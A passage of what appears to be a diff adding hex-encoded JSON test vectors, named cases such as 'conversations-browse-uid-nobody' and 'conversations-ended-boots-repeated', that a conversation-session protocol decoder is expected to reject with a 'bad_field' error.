726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-browse-uid-equals-tool-uid", + "direction": "down", + "hex": "574d58310101000004000000770600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a32303030312c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-browse-uid-equals-gid", + "direction": "down", + "hex": "574d58310101000004000000770600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a32353030302c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-browse-uid-nobody", + "direction": "down", + "hex": "574d58310101000004000000770600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a36353533342c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-browse-uid-missing", + "direction": "down", + "hex": "574d58310101000004000000650600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-continuation-unknown", + "direction": "down", + "hex": "574d58310101000004000000750600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a22666f726b222c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-continuation-missing", + "direction": "down", + "hex": "574d583101010000040000005f0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22656e6465644775657374426f6f7473223a5b5d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-fresh-with-ended-boots", + "direction": "down", + "hex": "574d583101010000040000009c0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a226672657368222c22656e6465644775657374426f6f7473223a5b2231313131313131312d313131312d343131312d383131312d313131313131313131313131225d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-ended-boots-include-the-live-boot", + "direction": "down", + "hex": "574d583101010000040000009d0600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c226d6f64656c5265766973696f6e223a382c2273657373696f6e4964223a22636f6e762d30303031222c227461736b4964223a227461736b2d30303031222c22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131227d2c2273656c656374696f6e223a7b226361706162696c6974696573223a5b22746f6f6c73222c2273747265616d696e67225d2c2266616d696c79223a2266616d696c792d616c706861222c226d6f64656c4b6579223a226d6f64656c2d616c706861222c2270726f746f636f6c223a2270726f746f636f6c2d616c706861222c2270726f76696465724964223a2270726f76696465722d616c706861222c2270726f76696465724d6f64656c4964223a2270726f76696465722d6d6f64656c2d616c706861227d7d2c22677569646564223a7b2262696e64696e674964223a2233663262386331652d356434612d346536662d396137622d316332643365346635613662222c2267656e65726174696f6e223a317d2c22636f6e74696e756174696f6e223a22726573756d65222c22656e6465644775657374426f6f7473223a5b2236363636363636362d363636362d343636362d383636362d363636363636363636363636225d7d7d5d7d", + "error": "bad_field" + }, + { + "name": "conversations-ended-boots-repeated", + "direction": "down", + "hex": "574d58310101000004000000c40600007b2276223a322c2274223a22636f6e766572736174696f6e73222c226f7065726174696f6e4964223a2266696c6573797374656d5f35353535353535352d353535352d343535352d383535352d353535353535353535353535222c226e6f6e6365223a223066306630663066306630663066306630663066306630663066306630663066222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c2270726f66696c65223a22686f73742d71756572792d6775696465642d7631222c2262726f777365556964223a6e756c6c2c22636f6e766572736174696f6e73223a5b7b226c6f676963616c53657373696f6e4964223a22636f6e762d30303031222c22617574686f72697479223a7b22776f726b73706163654964223a22776f726b73706163655f31313131313131312d313131312d343131312d383131312d313131313131313131313131222c2273657373696f6e4964223a226261636b656e642d30303031222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232323232323232323232222c226c6561736545706f6368223a332c22636f6e6669675265766973696f6e223a342c226772616e745265766973696f6e223a352c22706f6c6963795265766973696f6e223a367d2c2272756e74696d65556964223a32303030302c22746f6f6c556964223a32303030312c22776f726b7370616365476964223a32353030302c22706f6c696379223a226175746f222c22726f6f7473223a5b7b226964223a22726f6f742d6e6f746573222c22677565737450617468223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22736f75726365223a222f776f726b73706163652f666f6c646572732f6e6f746573222c22726561644f6e6c79223a66616c73657d2c7b226964223a22726f6f742d6f757470757473222c22677565737450617468223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22736f75726365223a222f776f726b73706163652f6f7574707574732f636f6e762d30303031222c22726561644f6e6c79223a66616c73657d5d2c2272756e74696d65223a7b226d6f64656c223a226d6f64656c2d616c706861222c2274696d656f75744d73223a3630303030302c22746f6f6c436c6173736573223a5b2272656164222c227772697465222c2265786563757465225d2c2270726f7669646572223a7b2273636f7065223a7b226163636f756e745265766973696f6e223a372c226261636b656e6453657373696f6e4964223a226261636b656e642d30303031222c22626f6f744964223a2236363636363636362d363636362d343636362d383636362d363636363636363636363636222c226772616e745265766973696f6e223a352c22686f6d654964223a22686f6d655f39393939393939392d393939392d343939392d383939392d393939393939393939393939222c22696e6361726e6174696f6e4964223a22696e632d32323232323232322d323232322d343232322d383232322d323232